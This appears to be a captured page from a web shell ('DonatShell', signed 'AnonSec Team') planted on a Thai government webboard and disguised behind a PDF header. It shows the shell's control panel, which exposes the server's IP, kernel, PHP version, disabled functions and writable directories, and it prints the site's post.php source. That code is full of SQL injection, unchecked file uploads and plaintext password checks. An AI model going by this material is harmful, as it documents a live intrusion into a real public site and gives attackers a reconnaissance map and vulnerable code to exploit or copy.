%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/webboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/webboard//post.php
<?php
require_once("check_thai_ip.php");

if (!$___in_range) {
	header('HTTP/1.1 403 Forbidden');
	echo "<h1>403 Forbidden</h1><p>͹حҵҶ֧ҡ IP ͧس: " . $_SERVER['REMOTE_ADDR'] . "</p>";
	exit();
}
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->                             
<head>
<!-- InstanceBeginEditable name="doctitle" -->

<!-- InstanceEndEditable --> 
<title> </title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../../../../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--



function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>
<script type="text/javascript" language="JavaScript1.2" src="../../../../Templates/stm31.js"></script>
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #0099FF;	
}
.style2 {color: #CC6633}
-->
</style></head>
           
<body background="" style="background-repeat:no-repeat; background-position:top">
<div align="center" >
  <table width="980" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td valign="top"><div align="center">                        
        <table width="980" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td height="50" valign="top"><div align="center"><div align="center"></div>
            </div></td>
          </tr>
          <tr>
            <td height="80" valign="top"></td>
          </tr>
         
          <tr>
            <td height="" valign="top" background=""><div align="center"><div align="center"><!-- InstanceBeginEditable name="EditRegion3" -->
        <table width="98%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td><div align="center">
              <?
include("config.inc.php");
include("function.php");

// Ǵͧ纺
	mysql_connect($host,$user_db,$passwd_db);
	mysql_query ("SET NAMES 'tis620'");
	$c_sql = "select * from webboard_category where cat_name='$Category' ";
	$c_result = mysql_db_query($dbname,$c_sql);
	$c_NRow = mysql_num_rows($c_result);
	$c_row = mysql_fetch_array($c_result);
	
	$nlist = $c_row["cat_title"];

	if($c_NRow==0) { 
		echo "<center><br>";
		echo "<font color=red size=+1> سк Category çѺ web Դ¤Ѻ</font>";
		echo "<br>";
		echo "</center>";
		exit();		
	}

// 
	
if ($_SERVER['HTTP_CLIENT_IP']) { 
$IP = $_SERVER['HTTP_CLIENT_IP'];
} elseif (ereg("[0-9]",$_SERVER["HTTP_X_FORWARDED_FOR"] )) { 
$IP = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else { 
$IP = $_SERVER["REMOTE_ADDR"];
}
	$Member = 0;


	// ͧѹá html Ѻ ͧ ' "
	$QTitle = htmlspecialchars($QTitle);
	$QNote = htmlspecialchars($QNote);
	$QName = htmlspecialchars($QName);
	$QEmail = htmlspecialchars($QEmail);

// ===== ѧѹͧӵͧ =====
function hasBadWords($text) {
    $badWords = array('ѹ', '', 'ᷧ͹Ź', 'ᷧǪ', 'Ǫ', '', 'Ҥ', '', '', 'ᷧ','ᷧ', 'ᷧ', 'asd', '', '18+', 'xxx', '§⪤', '纾ѹ','TOP/*3','ᷧǪ͹Ź',' 10/* ѹѺ ᷧ͹Ź');
    foreach ($badWords as $word) {
        if (stripos($text, $word) !== false) {
            return true;
        }
    }
    return false;
}

// Ǵͧ纺
	mysql_connect($host,$user_db,$passwd_db);
	mysql_query ("SET NAMES 'tis620'");
	$c_sql = "select * from webboard_category where cat_name='$Category' ";
	$c_result = mysql_db_query($dbname,$c_sql);
	$c_NRow = mysql_num_rows($c_result);
	$c_row = mysql_fetch_array($c_result);
	
	$nlist = $c_row["cat_title"];

	if($c_NRow==0) { 
		echo "<center><br>";
		echo "<font color=red size=+1> سк Category çѺ web Դ¤Ѻ</font>";
		echo "<br>";
		echo "</center>";
		exit();		
	}

// 

if ($_SERVER['HTTP_CLIENT_IP']) { 
$IP = $_SERVER['HTTP_CLIENT_IP'];
} elseif (ereg("[0-9]",$_SERVER["HTTP_X_FORWARDED_FOR"] )) { 
$IP = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else { 
$IP = $_SERVER["REMOTE_ADDR"];
}
$Member = 0;

// ͧѹá html Ѻ ͧ ' "
$QTitle = htmlspecialchars($QTitle);
$QNote = htmlspecialchars($QNote);
$QName = htmlspecialchars($QName);
$QEmail = htmlspecialchars($QEmail);

// ===== Ǩͺӵͧ ͹Թõ =====
if (hasBadWords($QTitle) || hasBadWords($QNote)) {
	echo "<center><br><font color=red size=+1> ͤդӵͧ  þѹ ͤ س䢡͹ʵ</font><br>";
	echo "<a href='javascript:history.back(1)' class='styles2'>[ Ѻ ]</a></center>";
	exit();
}

// ͧѹҺ
$QTitle = CheckRude($QTitle);
$QNote = CheckRude($QNote);
$QName = CheckRude($QName);
$QEmail = CheckRude($QEmail);
	
	// ǨͺáٻҾ
	$txt = array(":b1:", ":b2:",":b3:", ":b4:", ":b5:", ":b6:", ":b7:", ":b8:", ":b9:", ":b10:", ":b11:");
	$pic = array("b1.gif","b2.gif","b3.gif","b4.gif","b5.gif","b6.gif","b7.gif","b8.gif","b9.gif","b10.gif","b11.gif");
	for ($a=0 ; $a<sizeof($txt) ; $a++) {
		$QNote = eregi_replace($txt[$a],"<img src=\"pic/$pic[$a]\">",$QNote);
	}

	// Ǩͺ աû͹ url  email   link

		//Ѻ¹ѡз˹ ᷡ html ҧ
		$QNote = eregi_replace ( "\[b\]", "<b> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/b\]", " </b>" , $QNote ) ;
		$QNote = eregi_replace ( "\[i\]", "<i> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/i\]", " </i>" , $QNote ) ;
		$QNote = eregi_replace ( "\[u\]", "<u> " , $QNote ) ;
		$QNote = eregi_replace ( "\[sup\]", "<sup> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/sup\]", " </sup>" , $QNote ) ;
		$QNote = eregi_replace ( "\[sub\]", "<sub> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/sub\]", " </sub>" , $QNote ) ;
		$QNote = eregi_replace ( "\[/u\]", " </u>" , $QNote ) ;
		$QNote = eregi_replace ( "\[\-\-\-\]", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" , $QNote ) ;
		$QNote = eregi_replace ( "\[color=red\]", "<font color=red > " , $QNote ) ;
		$QNote = eregi_replace ( "\[color=green\]", "<font color=green> " , $QNote ) ;
		$QNote = eregi_replace ( "\[color=blue\]", "<font color=blue> " , $QNote ) ;
		$QNote = eregi_replace ( "\[color=orange\]", "<font color=FF6600> " , $QNote ) ;
		$QNote = eregi_replace ( "\[color=pink\]", "<font color=FF00FF> " , $QNote) ;
		$QNote = eregi_replace ( "\[color=gray\]", "<font color=999999> " , $QNote ) ;
		$QNote = eregi_replace ( "\[/color\]", " </font>" , $QNote ) ;

		$QNote = eregi_replace ( "\[glow\]"," <table style=filter:glow(color=pink, strength=3)>  ", $QNote ) ;
		$QNote = eregi_replace ( "\[/glow\]", " </table>" , $QNote ) ;

		$QNote = eregi_replace ( "\[shadow\]","<table style=\"filter:shadow(color=pink, direction=left)\"> ", $QNote ) ;
		$QNote = eregi_replace ( "\[/shadow\]", " </table>" , $QNote ) ;

	// 鹺ѹѴ óշա Enter
	$QNote = eregi_replace(chr(13)," <br> ", $QNote );

	$QNote = eregi_replace("(^|[>[:space:]\n])([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])([<[:space:]\n]|$)","<a href=\"\\2://\\3\\4\" target=\"_blank\">\\2://\\3\\4</a>", $QNote );
	$QNote = eregi_replace("([[:alnum:]]+)@([^[:space:]]*)([[:alnum:]])([<[:space:]\n]|$)","<a href=mailto:\\1@\\2\\3\>\\1@\\2\\3</a>", $QNote );

	//Ǩͺʡз (Թ ӹǹк config)
	CheckFlood($IP);
	
	// ǨͺҪԡ 
	$sql = "select User,Password,Email from webboard_member where User='$QName'";
	$result = mysql_db_query($dbname,$sql);
	$NRow = mysql_num_rows($result);
	$row = mysql_fetch_array($result);

	$Member = $row["User"];
	
	// Ǩͺ Password ١
	if($QName==$row["User"] && $QPass==$row["Password"]) 
	{ 
		$Member = 1;
		if(!$QEmail) 
			{
			$QEmail = $row["Email"];
		    }
	}else
	 {
	$Member = 0;
	 }


if(strcmp($_POST['code_input'],$_POST['code_hidden'])==0){ 
// ӡ ҡʢͧҪԡ
	if($Member) {
			$sql3 = "update webboard_member set m_post=m_post+1 where User='$QName'";
			$result3 = mysql_db_query($dbname,$sql3);
	}
	else {	};
// ÷ӧҹ

// ѹ֡ٻҾ
	
if(($QNote =='')&&($QName==''))
{  
	echo "<center >";
	echo "<font size=+1 color=\"red\">";
	echo "ͤóҨú ͵ҧ觢 س觢ͤա<br><br>";

	echo "<font size=+1 color=red >";
	echo "<a href='javascript:history.back(1)'>[ Ѻ ] </a>";
	echo "</font>";
	echo "</center>";
	
		exit();
	}
	
if( $QPic !='')
	{ 
			srand((double)microtime()*1000000); 
			$QPic_name=$random_pic = rand(1,9999);

# Ǩͺҧͧٻ
				$size = getimagesize($QPic);	

# ǨͺҴͧ Flash
if ( $QPic_type == "application/x-shockwave-flash" )	{
		if($QPic_size>$flashSize_limit) {
				echo "<br><b><center><font size=3 color=red >Ҵͧ Flash Թ $flashSize_limit bytes [$flashSize_msg]</font></center></b><br>";
				echo "<br><b><center><font size=3 color=red >[&nbsp;<a href='javascript:history.back(1)'>Ѻ</a>&nbsp;]</font></center></b>";
				exit();
			}
	}
else {

# ǨͺҴͧٻ
		if($QPic_size>$Image_size) {
				echo "<br><b><center><font size=3 color=red >ҴͧҾԹ $Image_size bytes [$Image_msg]</font></center></b><br>";
				echo "<br><b><center><font size=3 color=red >[&nbsp;<a href='javascript:history.back(1)'>Ѻ</a>&nbsp;]</font></center></b>";
				exit();
			}
}

#ŧʡ зӡ upload
if ( $QPic_type == "image/gif" )
		{
			$filename = $QPic_name.".gif";
		}
if ( $QPic_type == "image/bmp" )
		{
			$filename = $QPic_name.".bmp";
		}
if ( $QPic_type == "image/png" )
		{
			$filename = $QPic_name.".png";
		}
if ( $QPic_type == "application/x-shockwave-flash" )
		{
			$filename = $QPic_name.".swf";
		}
elseif (($QPic_type=="image/jpg")||($QPic_type=="image/jpeg")||($QPic_type=="image/pjpeg"))
		{
			$filename =strtolower($QPic_name.$random_pic . '.jpg');
		}
			copy ($QPic , "$path/" . $filename );		
	}


elseif ($QPic == "")
{
echo "";
}


	// ҨеçѺͧ server ѹ
	$mdate = date("Y-m-d H:i:s");

	// ǨͺҪԡ öʻС
	$sql2 = "select User from webboard_member where User='$QName' and Password='$QPass' and status='1' ";
	$result2 = mysql_db_query($dbname,$sql2);
	$row2 = mysql_fetch_array($result2);

	$Member2 = $row2["User"];

	//  username öʢǻС
	if($Member2 && $pst==1) {
		$mp = 1;
	}
	else {
		$mp = 0;
	}


//ʤԻѡзС͹ŧҹ
/*	if(ereg("www",$_POST[QNote]) || ereg("http",$_POST[QNote]) || ereg("<a href",$_POST[QNote]) || ereg("<",$_POST[QNote])){
  		echo "\n";
		echo "<center>";
		echo "<BR><BR><a href='javascript:history.back(1)' class='styles2'> س͡١ͧ</a><BR><BR><BR><BR>";
		exit;
}*/



	// ¹ŧ database
	$sql = "insert into webboard_data (Category,Question,Note,Name,Namer,Member,IP,Email,Date,nphoto,resolution,pst) values ('$Category','$QTitle','$QNote','$QName','$MsgBy','$Member','$IP','$QEmail','$mdate','$filename','$size[0]','$mp')";
	$result1 = mysql_db_query($dbname,$sql);

	mysql_close(); 	
?>
            </div></td>
          </tr>
          <tr>
            <td><div align="center">
              <table width=60% border=0 bgcolor=#000000 cellpadding=7 cellspacing=1>
                <tr>
                  <td align=center bgcolor=#ffffff class="styles3"><span class="red">ѺǤѺ</span><br>
                        <br>
                    ҡѺ˹áǤӶͧسѧͧ Refresh/Reload Ѻ </font></td>
                </tr>
              </table>
            </div></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td class="styles3"><div align="center">| <a href="webboard.php?Category=<? echo $Category; ?>" class="styles2">ʴӶ</a> || <a href="postq.php?Category=<? echo $Category; ?>" class="styles2">駡з </a>|</div></td>
          </tr>
		<?
		  }

			else{
			echo "<br><b><center><span class=red>س Verification code</span></center></b><br>";
				echo "<br><b><center><span class=styles1 >[&nbsp;<a href='javascript:history.back(1)' class=styles2>Ѻ</a>&nbsp;]</span></center></b>";

		}		
			?>
			<tr>
            <td>&nbsp;</td>
          </tr>
        </table>
      <!-- InstanceEndEditable --></div></div></td>
          </tr>
		 
		  
        </table>
      </div></td>
    </tr>

    <tr>
      <td>
    <tr>
          <td valign="top"><div align="center">
            <table width="980" border="0" cellpadding="0" cellspacing="0">
              <tr>
                <td valign="top"><div align="center"></div></td>
              </tr>
              <tr>
                <td valign="top" bgcolor="#FFFFFF"></td>
              </tr>
             <tr>
                <td valign="top" background=""><table width="980" border="0" cellspacing="0" cellpadding="0">
                 
                  <tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"></a></td>
 </tr>
                </table>                </td>
              </tr>
            </table>
          </div></td>
    </tr>
       
  </table>
</div>




</body>
<!-- InstanceEnd --></html>

Anon7 - 2022
AnonSec Team